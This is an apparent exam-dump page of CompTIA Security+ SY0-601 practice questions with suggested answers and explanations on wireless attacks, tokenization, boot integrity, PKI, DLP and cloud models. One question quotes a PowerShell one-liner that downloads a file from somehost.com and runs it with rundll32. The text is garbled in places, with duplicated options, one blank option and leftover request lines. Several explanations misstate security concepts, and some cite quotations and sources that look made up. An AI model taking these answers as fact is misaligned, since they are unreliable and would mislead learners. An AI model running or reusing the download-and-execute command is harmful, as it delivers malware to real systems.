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A user's laptop constantly disconnects from the Wi-Fi network. Once the laptop reconnects, the user can reach the internet but cannot access shared folders or other network resources. Which of the following types of attacks is the user MOST likely experiencing?

A.
Bluejacking
A.
Bluejacking
Answers
B.
Jamming
B.
Jamming
Answers
C.
Rogue access point
C.
Rogue access point
Answers
D.
Evil twin
D.
Evil twin
Answers
Suggested answer: D

Explanation:

An evil twin attack is when an attacker sets up a fake Wi-Fi network that looks like a legitimate network, but is designed to capture user data that is sent over the network. In this case, the user's laptop is constantly disconnecting and reconnecting to the Wi-Fi network, indicating that it is connecting to the fake network instead of the legitimate one. Once the user connects to the fake network, they are unable to access shared folders or other network resources, as those are only available on the legitimate network.

A company would like to protect credit card information that is stored in a database from being exposed and reused. However, the current POS system does not support encryption. Which of the following would be BEST suited to secure this information?

(Give me related explanation and references from CompTIA Security+ SY0-601 documents for Correct answer option)

A.
Masking
A.
Masking
Answers
B.
Tokenization
B.
Tokenization
Answers
C.
DLP
C.
DLP
Answers
D.
D.
Answers
Suggested answer: B

Explanation:

A. Masking

B. Tokenization

C. DLP

D. SSL/TLS

Answer: B

Explanation:

Tokenization replaces sensitive data with non-sensitive data, such as a unique identifier. This means that the data is still present in the system, but the sensitive information itself is replaced with the token. Tokenization is more secure than masking, which only obscures the data but does not eliminate it. DLP is not suitable for this task, as it is designed to prevent the loss or leakage of data from the system. SSL/TLS can be used to secure the transmission of data, but it cannot prevent the data itself from being exposed or reused. For more information, please refer to CompTIA Security+ SY0-601 Exam Objectives, Section 3.3: Explain the security purpose of authentication, authorization and accounting (AAA) services, and Section 4.7: Explain the purpose and characteristics of various types of encryption.

A retail store has a business requirement to deploy a kiosk computer In an open area The kiosk computer's operating system has been hardened and tested. A security engineer IS concerned that someone could use removable media to install a rootkit Mich of the should the security engineer configure to BEST protect the kiosk computer?

A.
Measured boot
A.
Measured boot
Answers
B.
Boot attestation
B.
Boot attestation
Answers
C.
UEFI
C.
UEFI
Answers
D.
EDR
D.
EDR
Answers
Suggested answer: B

Explanation:

Boot attestation is a security feature that enables the computer to verify the integrity of its operating system before it boots. It does this by performing a hash of the operating system and comparing it to the expected hash of the operating system. If the hashes do not match, the computer will not boot and the rootkit will not be allowed to run. This process is also known as measured boot or secure boot.

According to the CompTIA Security+ Study Guide, “Secure Boot is a feature of Unified Extensible Firmware Interface (UEFI) that ensures that code that is executed during the boot process has been authenticated by a cryptographic signature. Secure Boot prevents malicious code from running at boot time, thus providing assurance that the system is executing only code that is legitimate. This provides a measure of protection against rootkits and other malicious code that is designed to run at boot time.”

An upcoming project focuses on secure communications and trust between external parties. Which of the following security components will need to be considered to ensure a chosen trust provider IS used and the selected option is highly scalable?

A.
Self-signed certificate
A.
Self-signed certificate
Answers
B.
Certificate attributes
B.
Certificate attributes
Answers
C.
Public key Infrastructure
C.
Public key Infrastructure
Answers
D.
Domain validation
D.
Domain validation
Answers
Suggested answer: C

Explanation:

PKI is a security technology that enables secure communication between two parties by using cryptographic functions. It consists of a set of components that are used to create, manage, distribute, store, and revoke digital certificates. PKI provides a secure way to exchange data between two parties, as well as a trust provider to ensure that the data is not tampered with. It also helps to create a highly scalable solution, as the same certificate can be used for multiple parties. According to the CompTIA Security+ Study Guide, “PKI is a technology used to secure communications between two external parties. PKI is based on the concept of digital certificates, which are used to authenticate the sender and recipient of a message. PKI provides a trust provider to ensure that the digital certificate is valid and has not been tampered with. It also provides a scalable solution, as multiple parties can use the same certificate.”

A company needs to enhance Its ability to maintain a scalable cloud Infrastructure. The Infrastructure needs to handle the unpredictable loads on the company's web application. Which of the following cloud concepts would BEST these requirements?

A.
SaaS
A.
SaaS
Answers
B.
VDI
B.
VDI
Answers
C.
Containers
C.
Containers
Answers
D.
Microservices
D.
Microservices
Answers
Suggested answer: C

Explanation:

Containers are a type of virtualization technology that allow applications to run in a secure, isolated environment on a single host. They can be quickly scaled up or down as needed, making them an ideal solution for unpredictable loads. Additionally, containers are designed to be lightweight and portable, so they can easily be moved from one host to another. Reference: CompTIA Security+ Sy0- 601 official Text book, page 863.

A user is trying to upload a tax document, which the corporate finance department requested, but a security program IS prohibiting the upload A security analyst determines the file contains Pll, Which of the following steps can the analyst take to correct this issue?

A.
Create a URL filter with an exception for the destination website.
A.
Create a URL filter with an exception for the destination website.
Answers
B.
Add a firewall rule to the outbound proxy to allow file uploads
B.
Add a firewall rule to the outbound proxy to allow file uploads
Answers
C.
Issue a new device certificate to the user's workstation.
C.
Issue a new device certificate to the user's workstation.
Answers
D.
Modify the exception list on the DLP to allow the upload
D.
Modify the exception list on the DLP to allow the upload
Answers
Suggested answer: D

Explanation:

Data Loss Prevention (DLP) policies are used to identify and protect sensitive data, and often include a list of exceptions that allow certain types of data to be uploaded or shared. By modifying the exception list on the DLP, the security analyst can allow the tax document to be uploaded without compromising the security of the system. (Reference: CompTIA Security+ SY0-601 Official Textbook, page 479-480)

A corporate security team needs to secure the wireless perimeter of its physical facilities to ensure only authorized users can access corporate resources. Which of the following should the security team do? (Refer the answer from CompTIA SY0-601 Security+ documents or guide at comptia.org)

A.
Identify rogue access points.
A.
Identify rogue access points.
Answers
B.
Check for channel overlaps.
B.
Check for channel overlaps.
Answers
C.
Create heat maps.
C.
Create heat maps.
Answers
D.
Implement domain hijacking.
D.
Implement domain hijacking.
Answers
Suggested answer: A

Explanation:

Based on CompTIA SY0-601 Security+ guide, the answer to the question is A. Identify rogue access points.

To secure the wireless perimeter of its physical facilities, the corporate security team should focus on identifying rogue access points, which are unauthorized access points that have been set up by employees or outsiders to bypass security controls. By identifying and removing these rogue access points, the team can ensure that only authorized users can access corporate resources through the wireless network.

https://www.comptia.org/training/books/security-sy0-601-study-guide

A company is switching to a remote work model for all employees. All company and employee resources will be in the cloud. Employees must use their personal computers to access the cloud computing environment. The company will manage the operating system. Which of the following deployment models is the company implementing?

A.
CYOD
A.
CYOD
Answers
B.
MDM
B.
MDM
Answers
C.
COPE
C.
COPE
Answers
D.
VDI
D.
VDI
Answers
Suggested answer: D

Explanation:

According to Professor Messer’s video1, VDI stands for Virtual Desktop Infrastructure and it is a deployment model where employees use their personal computers to access a virtual machine that runs the company’s operating system and applications.

In the scenario described, the company is implementing a virtual desktop infrastructure (VDI) deployment model [1]. This allows employees to access the cloud computing environment using their personal computers, while the company manages the operating system. The VDI model is suitable for remote work scenarios because it provides secure and centralized desktop management, while allowing employees to access desktops from any device.

An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:

C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg -OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll

Which of the following BEST describes what the analyst found?

A.
A Powershell code is performing a DLL injection.
A.
A Powershell code is performing a DLL injection.
Answers
B.
A PowerShell code is displaying a picture.
B.
A PowerShell code is displaying a picture.
Answers
C.
A PowerShell code is configuring environmental variables.
C.
A PowerShell code is configuring environmental variables.
Answers
D.
A PowerShell code is changing Windows Update settings.
D.
A PowerShell code is changing Windows Update settings.
Answers
Suggested answer: A

Explanation:

According to GitHub user JSGetty196’s notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism.

https://www.comptia.org/training/books/security-sy0-601-study-guide

An organization recently released a software assurance policy that requires developers to run code scans each night on the repository. After the first night, the security team alerted the developers that more than 2,000 findings were reported and need to be addressed. Which of the following is the MOST likely cause for the high number of findings?

A.
The vulnerability scanner was not properly configured and generated a high number of false positives
A.
The vulnerability scanner was not properly configured and generated a high number of false positives
Answers
B.
Third-party libraries have been loaded into the repository and should be removed from the codebase.
B.
Third-party libraries have been loaded into the repository and should be removed from the codebase.
Answers
C.
The vulnerability scanner found several memory leaks during runtime, causing duplicate reports for the same issue.
C.
The vulnerability scanner found several memory leaks during runtime, causing duplicate reports for the same issue.
Answers
D.
The vulnerability scanner was not loaded with the correct benchmarks and needs to be updated.
D.
The vulnerability scanner was not loaded with the correct benchmarks and needs to be updated.
Answers
Suggested answer: A

Explanation:

The most likely cause for the high number of findings is that the vulnerability scanner was not properly configured and generated a high number of false positives. False positive results occur when a vulnerability scanner incorrectly identifies a non-vulnerable system or application as being vulnerable. This can happen due to incorrect configuration, over-sensitive rule sets, or outdated scan databases.

https://www.professormesser.com/security-plus/sy0-601/sy0-601-video/sy0-601-comptia-security- plus-course/

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